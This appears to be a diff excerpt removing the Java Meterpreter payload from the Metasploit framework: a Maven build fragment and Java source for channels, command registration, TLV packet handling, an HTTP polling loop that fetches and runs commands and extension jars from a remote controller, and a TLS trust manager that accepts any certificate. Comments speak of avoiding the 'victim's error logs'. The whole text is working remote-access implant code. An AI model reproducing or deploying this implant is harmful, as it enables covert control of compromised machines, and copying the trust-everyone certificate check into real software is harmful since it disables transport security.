<dependencies>
<dependency>
<groupId>com.metasploit</groupId>
<artifactId>Metasploit-JavaPayload</artifactId>
<version>${project.version}</version>
</dependency>
</dependencies>
<build>
<finalName>meterpreter</finalName>
</build>
<profiles>
<profile>
<!-- deploy built files to Metasploit data directory -->
<id>deploy</id>
<build>
<plugins>
<plugin>
<artifactId>maven-antrun-plugin</artifactId>
<version>1.7</version>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>run</goal>
</goals>
<configuration>
<target>
<mkdir dir="${project.basedir}/target/tmp" />
<unzip src="${project.basedir}/target/${project.build.finalName}.jar" dest="${project.basedir}/target/tmp" />
<touch datetime="01/01/2000 00:00 AM">
<fileset dir="${project.basedir}/target/tmp" includes="**/*" />
</touch>
<delete file="${project.basedir}/../../../../../data/meterpreter/${project.build.finalName}.jar"/>
<zip destfile="${project.basedir}/../../../../../data/meterpreter/${project.build.finalName}.jar">
<fileset dir="${project.basedir}/target/tmp" includes="META-INF/**" />
<fileset dir="${project.basedir}/target/tmp" excludes="META-INF/**" />
</zip>
<delete dir="${project.basedir}/target/tmp" />
</target>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

View File

@ -1,190 +0,0 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
/**
* A meterpreter channel. Channels are basically a collection of streams to interact with. Specialized subclasses of this class may handle special channels.
*
* @author mihi
*/
public class Channel {
private final InputStream in;
private final OutputStream out;
private final int id;
protected final Meterpreter meterpreter;
private boolean active = false, closed = false, waiting = false;
private byte[] toRead;
/**
* Create a new "generic" channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param in
* Input stream of the channel
* @param out
* Output stream of the channel, if any
*/
public Channel(Meterpreter meterpreter, InputStream in, OutputStream out) {
this.meterpreter = meterpreter;
this.id = meterpreter.registerChannel(this);
this.in = in;
this.out = out;
new InteractThread(in).start();
}
/**
* Close this channel and deregister it from the meterpreter.
*/
public synchronized void close() throws IOException {
in.close();
if (out != null)
out.close();
meterpreter.channelClosed(id);
active = false;
closed = true;
notifyAll();
}
/**
* Check whether this channel is at end of file.
*
* Note that even if this returns false, a subsequent read might return <code>null</code> for EOF, when the channel's state switches from "no data available" to EOF between the two calls.
*/
public synchronized boolean isEOF() throws IOException {
if (active)
throw new IllegalStateException("Cannot read; currently interacting with this channel");
// when we are just waiting to read the EOF, close it
if (waiting && toRead == null)
close();
return closed;
}
/**
* Read at least one byte, and up to maxLength bytes from this stream.
*
* @param maxLength
* The maximum number of bytes to read.
* @return The bytes read, or <code>null</code> if the end of the stream has been reached.
*/
public synchronized byte[] read(int maxLength) throws IOException, InterruptedException {
if (closed)
return null;
if (active)
throw new IllegalStateException("Cannot read; currently interacting with this channel");
while (!waiting || (toRead != null && toRead.length == 0))
wait();
if (toRead == null)
return null;
byte[] result = new byte[Math.min(toRead.length, maxLength)];
System.arraycopy(toRead, 0, result, 0, result.length);
byte[] rest = new byte[toRead.length - result.length];
System.arraycopy(toRead, result.length, rest, 0, rest.length);
toRead = rest;
notifyAll();
return result;
}
/**
* Write length bytes from the start of data to this channel.
*
* @param data
* The data to write
* @param length
* The length to write
*/
public void write(byte[] data, int length, TLVPacket request) throws IOException {
if (out == null)
throw new IOException("Channel does not have an output stream");
out.write(data, 0, length);
out.flush();
}
/**
* Get the ID of this channel.
*/
public int getID() {
return id;
}
/**
* Start interacting with this channel.
*/
public synchronized void startInteract() {
if (active)
throw new IllegalStateException("Already interacting");
active = true;
notifyAll();
}
/**
* Stop interacting with this channel.
*/
public synchronized void stopInteract() {
active = false;
}
/**
* Called from the {@link InteractThread} to notify the meterpreter of new data available on this channel.
*
* @param data
* The new data available, or <code>null</code> if EOF has been reached.
*/
protected synchronized void handleInteract(byte[] data) throws IOException, InterruptedException {
while (waiting) {
wait();
}
toRead = data;
waiting = true;
notifyAll();
while (!active && !closed && (toRead == null || toRead.length > 0))
wait();
if ((toRead == null || toRead.length > 0) && !closed) {
TLVPacket tlv = new TLVPacket();
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
String method;
if (toRead == null) {
method = "core_channel_close";
close();
} else {
method = "core_channel_write";
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, toRead);
tlv.add(TLVType.TLV_TYPE_LENGTH, toRead.length);
}
meterpreter.writeRequestPacket(method, tlv);
}
waiting = false;
notifyAll();
}
/**
* A thread that polls the channel to provide information when interacting with this channel.
*/
protected class InteractThread extends Thread {
private final InputStream stream;
public InteractThread(InputStream stream) {
this.stream = stream;
}
public void run() {
try {
byte[] buffer = new byte[4096];
int len;
while ((len = stream.read(buffer)) != -1) {
if (len == 0)
continue;
byte[] data = new byte[len];
System.arraycopy(buffer, 0, data, 0, len);
handleInteract(data);
}
handleInteract(null);
} catch (Throwable t) {
t.printStackTrace(meterpreter.getErrorStream());
}
}
}
}

View File

@ -1,131 +0,0 @@
package com.metasploit.meterpreter;
import java.util.HashMap;
import java.util.Map;
import java.util.Vector;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
import com.metasploit.meterpreter.command.UnsupportedJavaVersionCommand;
/**
* A registry for supported commands. Extensions will register their commands here.
*
* @author mihi
*/
public class CommandManager {
private final int javaVersion;
private Map/* <String,Command> */registeredCommands = new HashMap();
private Vector/* <String> */newCommands = new Vector();
protected CommandManager() throws Exception {
// get the API version, which might be different from the
// VM version, especially on some application servers
// (adapted from org.apache.tools.ant.util.JavaEnvUtils).
Class.forName("java.lang.Void");
Class.forName("java.lang.ThreadLocal");
int apiVersion = ExtensionLoader.V1_2;
try {
Class.forName("java.lang.StrictMath");
apiVersion = ExtensionLoader.V1_3;
Class.forName("java.lang.CharSequence");
apiVersion = ExtensionLoader.V1_4;
Class.forName("java.net.Proxy");
apiVersion = ExtensionLoader.V1_5;
Class.forName("java.util.ServiceLoader");
apiVersion = ExtensionLoader.V1_6;
} catch (Throwable t) {
}
String javaversion = System.getProperty("java.version");
if (javaversion != null && javaversion.length() > 2) {
int vmVersion = javaversion.charAt(2) - '2' + ExtensionLoader.V1_2;
if (vmVersion >= ExtensionLoader.V1_2 && vmVersion < apiVersion)
apiVersion = vmVersion;
}
this.javaVersion = apiVersion;
// load core commands
new com.metasploit.meterpreter.core.Loader().load(this);
}
/**
* Register a command that can be executed on all Java versions (from 1.2 onward)
*
* @param command
* Name of the command
* @param commandClass
* Class that implements the command
*/
public void registerCommand(String command, Class commandClass) throws Exception {
registerCommand(command, commandClass, ExtensionLoader.V1_2);
}
/**
* Register a command that can be executed only on some Java versions
*
* @param command
* Name of the command
* @param commandClass
* Stub class for generating the class name that implements the command
* @param version
* Minimum Java version
*/
public void registerCommand(String command, Class commandClass, int version) throws Exception {
registerCommand(command, commandClass, version, version);
}
/**
* Register a command that can be executed only on some Java versions, and has two different implementations for different Java versions.
*
* @param command
* Name of the command
* @param commandClass
* Stub class for generating the class name that implements the command
* @param version
* Minimum Java version
* @param secondVersion
* Minimum Java version for the second implementation
*/
public void registerCommand(String command, Class commandClass, int version, int secondVersion) throws Exception {
if (secondVersion < version)
throw new IllegalArgumentException("secondVersion must be larger than version");
if (javaVersion < version) {
registeredCommands.put(command, new UnsupportedJavaVersionCommand(command, version));
return;
}
if (javaVersion >= secondVersion)
version = secondVersion;
if (version != ExtensionLoader.V1_2) {
commandClass = commandClass.getClassLoader().loadClass(commandClass.getName() + "_V1_" + (version - 10));
}
Command cmd = (Command) commandClass.newInstance();
registeredCommands.put(command, cmd);
newCommands.add(command);
}
/**
* Get a command for the given name.
*/
public Command getCommand(String name) {
Command cmd = (Command) registeredCommands.get(name);
if (cmd == null)
cmd = NotYetImplementedCommand.INSTANCE;
return cmd;
}
/**
* Reset the list of commands loaded by the last core_loadlib call
*/
public void resetNewCommands() {
newCommands.clear();
}
/**
* Retrieves the list of commands loaded by the last core_loadlib call
*/
public String[] getNewCommands() {
return (String[]) newCommands.toArray(new String[newCommands.size()]);
}
}

View File

@ -1,23 +0,0 @@
package com.metasploit.meterpreter;
/**
* A loader class for an extension. This loader must be referenced in the jar manifest's Extension-Loader entry.
*
* @author mihi
*/
public interface ExtensionLoader {
public static final int V1_2 = 12;
public static final int V1_3 = 13;
public static final int V1_4 = 14;
public static final int V1_5 = 15;
public static final int V1_6 = 16;
/**
* Load this extension.
*
* @param commandManager
* command manager to load commands into.
*/
public void load(CommandManager commandManager) throws Exception;
}

View File

@ -1,366 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.EOFException;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.List;
import java.util.Random;
import java.util.jar.JarInputStream;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.core.core_loadlib;
/**
* Main meterpreter class. Responsible for keeping all the stuff together and for managing channels.
*
* @author mihi
*/
public class Meterpreter {
private static final int PACKET_TYPE_REQUEST = 0;
private static final int PACKET_TYPE_RESPONSE = 1;
private List/* <Channel> */channels = new ArrayList();
private final CommandManager commandManager;
private final DataInputStream in;
private final DataOutputStream out;
private final Random rnd = new Random();
private final ByteArrayOutputStream errBuffer;
private final PrintStream err;
private final boolean loadExtensions;
private List/* <byte[]> */tlvQueue = null;
/**
* Initialize the meterpreter.
*
* @param in
* Input stream to read from
* @param rawOut
* Output stream to write into
* @param loadExtensions
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors) throws Exception {
this(in, rawOut, loadExtensions, redirectErrors, true);
}
/**
* Initialize the meterpreter.
*
* @param in
* Input stream to read from
* @param rawOut
* Output stream to write into
* @param loadExtensions
* Whether to load (as a {@link ClassLoader} would do) the extension jars; disable this if you want to use your debugger's edit-and-continue feature or if you do not want to update the jars after each build
* @param redirectErrors
* Whether to redirect errors to the internal error buffer; disable this to see the errors on the victim's standard error stream
* @param beginExecution
* Whether to begin executing immediately
* @throws Exception
*/
public Meterpreter(DataInputStream in, OutputStream rawOut, boolean loadExtensions, boolean redirectErrors, boolean beginExecution) throws Exception {
this.loadExtensions = loadExtensions;
this.in = in;
this.out = new DataOutputStream(rawOut);
commandManager = new CommandManager();
channels.add(null); // main communication channel?
if (redirectErrors) {
errBuffer = new ByteArrayOutputStream();
err = new PrintStream(errBuffer);
} else {
errBuffer = null;
err = System.err;
}
if (beginExecution) {
startExecuting();
}
}
public void startExecuting() throws Exception {
try {
while (true) {
int len = in.readInt();
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new IOException("Invalid packet type: " + ptype);
TLVPacket request = new TLVPacket(in, len - 8);
TLVPacket response = executeCommand(request);
if (response != null)
writeTLV(PACKET_TYPE_RESPONSE, response);
}
} catch (EOFException ex) {
}
out.close();
synchronized (this) {
for (Iterator it = channels.iterator(); it.hasNext();) {
Channel c = (Channel) it.next();
if (c != null)
c.close();
}
}
}
/**
* Write a TLV packet to this meterpreter's output stream.
*
* @param type
* The type ({@link #PACKET_TYPE_REQUEST} or {@link #PACKET_TYPE_RESPONSE})
* @param packet
* The packet to send
*/
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
byte[] data = packet.toByteArray();
if (tlvQueue != null) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(baos);
dos.writeInt(data.length + 8);
dos.writeInt(type);
dos.write(data);
tlvQueue.add(baos.toByteArray());
return;
}
synchronized (out) {
out.writeInt(data.length + 8);
out.writeInt(type);
out.write(data);
out.flush();
}
}
/**
* Execute a command request.
*
* @param request
* The request to execute
* @return The response packet to send back
*/
private TLVPacket executeCommand(TLVPacket request) throws IOException {
TLVPacket response = new TLVPacket();
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
if (method.equals("core_switch_url")) {
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
return null;
} else if (method.equals("core_shutdown")) {
return null;
}
response.add(TLVType.TLV_TYPE_METHOD, method);
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
Command cmd = commandManager.getCommand(method);
int result;
try {
result = cmd.execute(this, request, response);
} catch (Throwable t) {
t.printStackTrace(getErrorStream());
result = Command.ERROR_FAILURE;
}
response.add(TLVType.TLV_TYPE_RESULT, result);
return response;
}
/**
* Poll from a given URL until a shutdown request is received.
* @param url
*/
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
synchronized (this) {
tlvQueue = new ArrayList();
}
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
byte[] outPacket = null;
synchronized (this) {
if (tlvQueue.size() > 0)
outPacket = (byte[]) tlvQueue.remove(0);
}
TLVPacket request = null;
try {
URLConnection uc = url.openConnection();
if (url.getProtocol().equals("https")) {
// load the trust manager via reflection, to avoid loading
// it when it is not needed (it requires Sun Java 1.4+)
try {
Class.forName("com.metasploit.meterpreter.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
} catch (Exception ex) {
ex.printStackTrace(getErrorStream());
}
}
uc.setDoOutput(true);
OutputStream out = uc.getOutputStream();
out.write(outPacket == null ? RECV : outPacket);
out.close();
DataInputStream in = new DataInputStream(uc.getInputStream());
int len;
try {
len = in.readInt();
} catch (EOFException ex) {
len = -1;
}
if (len != -1) {
int ptype = in.readInt();
if (ptype != PACKET_TYPE_REQUEST)
throw new RuntimeException("Invalid packet type: " + ptype);
request = new TLVPacket(in, len - 8);
}
in.close();
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
} catch (IOException ex) {
ex.printStackTrace(getErrorStream());
// URL not reachable
if (outPacket != null) {
synchronized (this) {
tlvQueue.add(0, outPacket);
}
}
}
if (request != null) {
TLVPacket response = executeCommand(request);
if (response == null)
break;
writeTLV(PACKET_TYPE_RESPONSE, response);
} else if (outPacket == null) {
try {
Thread.sleep(5000);
} catch (InterruptedException ex) {
// ignore
}
}
}
synchronized (this) {
tlvQueue = new ArrayList();
}
}
/**
* Get the command manager, used to register or lookup commands.
*/
public CommandManager getCommandManager() {
return commandManager;
}
/**
* Register a new channel in this meterpreter. Used only by {@link Channel#Channel(Meterpreter, java.io.InputStream, OutputStream, java.io.InputStream)}.
*
* @param channel
* The channel to register
* @return The channel's ID.
*/
public synchronized int registerChannel(Channel channel) {
channels.add(channel);
return channels.size() - 1;
}
/**
* Used by {@link Channel#close()} to notify the meterpreter that the channel has been closed.
*
* @param id
* The channel's ID
*/
public synchronized void channelClosed(int id) {
channels.set(id, null);
}
/**
* Obtain a channel for a given channel ID
*
* @param id
* The channel ID to look up
* @param throwIfNonexisting
* Whether to throw an exception if the channel does not exist
* @return The channel, or <code>null</code> if the channel does not exist and it should not throw an exception
*/
public Channel getChannel(int id, boolean throwIfNonexisting) {
Channel result = null;
if (id < channels.size())
result = (Channel) channels.get(id);
if (result == null && throwIfNonexisting)
throw new IllegalArgumentException("Channel " + id + " does not exist.");
return result;
}
/**
* Return the error stream where all errors should be written to. Do <b>not</b> write to {@link System#out} or {@link System#err} as this might appear in the victim's error logs.
*/
public PrintStream getErrorStream() {
return err;
}
/**
* Return the length of the currently buffered error stream content, or <code>-1</code> if no buffering is active.
*/
public int getErrorBufferLength() {
if (errBuffer == null)
return -1;
return errBuffer.size();
}
/**
* Return the currently buffered error stream content, or <code>null</code> if no buffering is active.
*/
public byte[] getErrorBuffer() {
if (errBuffer == null)
return null;
synchronized (errBuffer) {
byte[] result = errBuffer.toByteArray();
errBuffer.reset();
return result;
}
}
/**
* Send a request packet over this meterpreter.
*
* @param packet
* Packet parameters
* @param method
* Method to invoke
*/
public void writeRequestPacket(String method, TLVPacket tlv) throws IOException {
tlv.add(TLVType.TLV_TYPE_METHOD, method);
char[] requestID = new char[32];
for (int i = 0; i < requestID.length; i++) {
requestID[i] = (char) ('A' + rnd.nextInt(26));
}
tlv.add(TLVType.TLV_TYPE_REQUEST_ID, new String(requestID));
writeTLV(PACKET_TYPE_REQUEST, tlv);
}
/**
* Load an extension into this meterpreter. Called from {@link core_loadlib}.
*
* @param data
* The extension jar's content as a byte array
*/
public String[] loadExtension(byte[] data) throws Exception {
ClassLoader classLoader = getClass().getClassLoader();
if (loadExtensions) {
URL url = MemoryBufferURLConnection.createURL(data, "application/jar");
classLoader = new URLClassLoader(new URL[] { url }, classLoader);
}
JarInputStream jis = new JarInputStream(new ByteArrayInputStream(data));
String loaderName = (String) jis.getManifest().getMainAttributes().getValue("Extension-Loader");
ExtensionLoader loader = (ExtensionLoader) classLoader.loadClass(loaderName).newInstance();
commandManager.resetNewCommands();
loader.load(commandManager);
return commandManager.getNewCommands();
}
}

View File

@ -1,63 +0,0 @@
package com.metasploit.meterpreter;
import java.net.URLConnection;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession;
import javax.net.ssl.SSLSocketFactory;
import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate;
/**
* Trust manager used for HTTPS URL connection. This is in its own class because it
* depends on classes only present on Sun JRE 1.4+, and incorporating it into
* the main {@link Meterpreter} class would have made it impossible for other/older
* JREs to load it.
*
* This class is substantically identical to the metasploit.PayloadTrustManager class,
* only that it tries to cache the ssl context and trust manager between calls.
*/
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
public X509Certificate[] getAcceptedIssuers() {
// no preferred issuers
return new X509Certificate[0];
}
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone
}
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, String authType) {
// trust everyone
}
public boolean verify(String hostname, SSLSession session) {
// trust everyone
return true;
}
private static PayloadTrustManager instance;
private static SSLSocketFactory factory;
/**
* Called by the {@link Payload} class to modify the given
* {@link URLConnection} so that it uses this trust manager.
*/
public static synchronized void useFor(URLConnection uc) throws Exception {
if (uc instanceof HttpsURLConnection) {
HttpsURLConnection huc = ((HttpsURLConnection) uc);
if (instance == null) {
instance = new PayloadTrustManager();
SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, new TrustManager[] { instance }, new java.security.SecureRandom());
factory = sc.getSocketFactory();
}
huc.setSSLSocketFactory(factory);
huc.setHostnameVerifier(instance);
}
}
}

View File

@ -1,265 +0,0 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
/**
* A packet consisting of multiple TLV values. Having the same type more than once is an error.
*
* @author mihi
*/
public class TLVPacket {
// constants
public static final int TLV_META_TYPE_NONE = 0;
public static final int TLV_META_TYPE_STRING = (1 << 16);
public static final int TLV_META_TYPE_UINT = (1 << 17);
public static final int TLV_META_TYPE_RAW = (1 << 18);
public static final int TLV_META_TYPE_BOOL = (1 << 19);
public static final int TLV_META_TYPE_COMPRESSED = (1 << 29);
public static final int TLV_META_TYPE_GROUP = (1 << 30);
public static final int TLV_META_TYPE_COMPLEX = (1 << 31);
// not defined in original
public static final int TLV_META_TYPE_MASK = (1 << 31) + (1 << 30) + (1 << 29) + (1 << 19) + (1 << 18) + (1 << 17) + (1 << 16);
/**
* A list of {@link Integer} values that represent the order of the TLV value types for serializing the current package.
*/
private List/* <Integer> */typeOrder = new ArrayList();
/**
* A map, mapping the types (as {@link Integer} objects) to values (different kinds of objects). There are type-safe helper methods to retrieve one of those objects from the map.
*/
private Map/* <Integer,Object> */valueMap = new HashMap();
/**
* A list of additionals types/values to be added to the end of the packet. Here packet types may appear more than once, but they cannot be read again with this class.
*/
private List/* <Integer/Object> */overflowList = new ArrayList();
/**
* Construct a new empty TLV packet.
*/
public TLVPacket() {
}
/**
* Read a TLV packet from an input stream.
*
* @param in
* Input stream to read from
* @param remaining
* length of the packet to read in bytes
* @throws IOException
* if an error occurs
*/
public TLVPacket(DataInputStream in, int remaining) throws IOException {
while (remaining > 0) {
int len = in.readInt();
int type = in.readInt();
if (len > remaining)
break;
byte[] data = new byte[len - 8];
remaining -= len;
Object value;
if ((type & TLV_META_TYPE_COMPRESSED) != 0) {
in.readFully(data);
value = data;
} else if ((type & TLV_META_TYPE_STRING) != 0) {
in.readFully(data);
String string = new String(data, "ISO-8859-1"); // better safe than sorry
if (!string.endsWith("\0"))
throw new IOException("C string is not 0 terminated: " + string);
string = string.substring(0, string.length() - 1);
if (string.indexOf('\0') != -1)
throw new IOException("Embedded null detected: " + string);
value = string;
} else if ((type & TLV_META_TYPE_UINT) != 0 && len == 12) {
value = new Integer(in.readInt());
} else if ((type & TLV_META_TYPE_BOOL) != 0 && len == 9) {
value = new Boolean(in.readBoolean());
} else if ((type & TLV_META_TYPE_RAW) != 0) {
in.readFully(data);
value = data;
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
in.readFully(data);
DataInputStream dis = new DataInputStream(new ByteArrayInputStream(data));
value = new TLVPacket(dis, data.length);
dis.close();
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
in.readFully(data);
value = data;
} else {
throw new IOException("Unsupported type: " + type + "/" + len);
}
add(type, value);
}
if (remaining != 0) {
throw new IOException("Incomplete packets detected");
}
}
/**
* Add a TLV value to this object.
*/
public void add(int type, Object value) throws IOException {
Integer typeObj = new Integer(type);
typeOrder.add(typeObj);
if (valueMap.containsKey(typeObj))
throw new IOException("Duplicate type: " + type);
valueMap.put(typeObj, value);
}
/**
* Add an element to the overflow list.
*/
public void addOverflow(int type, Object value) throws IOException {
overflowList.add(new Integer(type));
overflowList.add(value);
}
/**
* Add a TLV value to this object.
*/
public void add(int type, int value) throws IOException {
add(type, new Integer(value));
}
/**
* Add a TLV value to this object.
*/
public void add(int type, boolean value) throws IOException {
add(type, new Boolean(value));
}
/**
* Get the types and their order in this packet, as an immutable list.
*/
public List getTypeOrder() {
return Collections.unmodifiableList(typeOrder);
}
/**
* Get the value associated to a type.
*/
public Object getValue(int type) {
Object result = valueMap.get(new Integer(type));
if (result == null)
throw new IllegalArgumentException("Cannot find type " + type);
return result;
}
/**
* Get the value associated to a type.
*/
public Object getValue(int type, Object defaultValue) {
Object result = valueMap.get(new Integer(type));
if (result == null)
result = defaultValue;
return result;
}
/**
* Get the value associated to a type as a {@link String}.
*/
public String getStringValue(int type) {
return (String) getValue(type);
}
/**
* Get the value associated to a type as a {@link String}, or a default value if the value does not exist.
*/
public String getStringValue(int type, String defaultValue) {
return (String) getValue(type, defaultValue);
}
/**
* Get the value associated to a type as an int.
*/
public int getIntValue(int type) {
return ((Integer) getValue(type)).intValue();
}
/**
* Get the value associated to a type as a boolean.
*/
public boolean getBooleanValue(int type) {
return ((Boolean) getValue(type)).booleanValue();
}
/**
* Get the value associated to a type as a byte array.
*/
public byte[] getRawValue(int type) {
return (byte[]) getValue(type);
}
/**
* Write all the values to an output stream.
*/
public void write(DataOutputStream out) throws IOException {
for (Iterator it = typeOrder.iterator(); it.hasNext();) {
Integer typeKey = (Integer) it.next();
int type = typeKey.intValue();
Object value = valueMap.get(typeKey);
write(out, type, value);
}
for (Iterator it = overflowList.iterator(); it.hasNext();) {
Integer typeKey = (Integer) it.next();
int type = typeKey.intValue();
Object value = it.next();
write(out, type, value);
}
}
/**
* Write a single vlaue to an output stream.
*/
private static void write(DataOutputStream out, int type, Object value) throws IOException {
byte[] data;
if ((type & TLV_META_TYPE_STRING) != 0) {
data = ((String) value + "\0").getBytes("ISO-8859-1");
} else if ((type & TLV_META_TYPE_UINT) != 0) {
out.writeInt(12);
out.writeInt(type);
out.writeInt(((Integer) value).intValue());
return;
} else if ((type & TLV_META_TYPE_BOOL) != 0) {
out.writeInt(9);
out.writeInt(type);
out.writeBoolean(((Boolean) value).booleanValue());
return;
} else if ((type & TLV_META_TYPE_RAW) != 0) {
data = (byte[]) value;
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
data = ((TLVPacket) value).toByteArray();
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
data = (byte[]) value;
} else {
throw new IOException("Unsupported type: " + type);
}
out.writeInt(8 + data.length);
out.writeInt(type);
out.write(data);
}
/**
* Convert all the values to a byte array.
*/
public byte[] toByteArray() throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
write(new DataOutputStream(baos));
return baos.toByteArray();
}
}

View File

@ -1,178 +0,0 @@
package com.metasploit.meterpreter;
/**
* All defined TLV types.
*
* TLV meta types are defined in the {@link TLVPacket} class.
*
* @author mihi
*/
public interface TLVType {
// TLV Specific Types
public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0;
public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1;
public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2;
public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3;
public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4;
public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10;
public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11;
public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12;
public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25;
public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26;
public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27;
public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50;
public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51;
public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52;
public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53;
public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54;
public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55;
public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70;
public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71;
public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72;
public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300;
public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301;
public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400;
public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401;
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
// General
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 600;
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 630;
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_UINT | 631;
// Fs
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201;
public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202;
public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203;
public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220;
// Net
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402;
public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404;
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
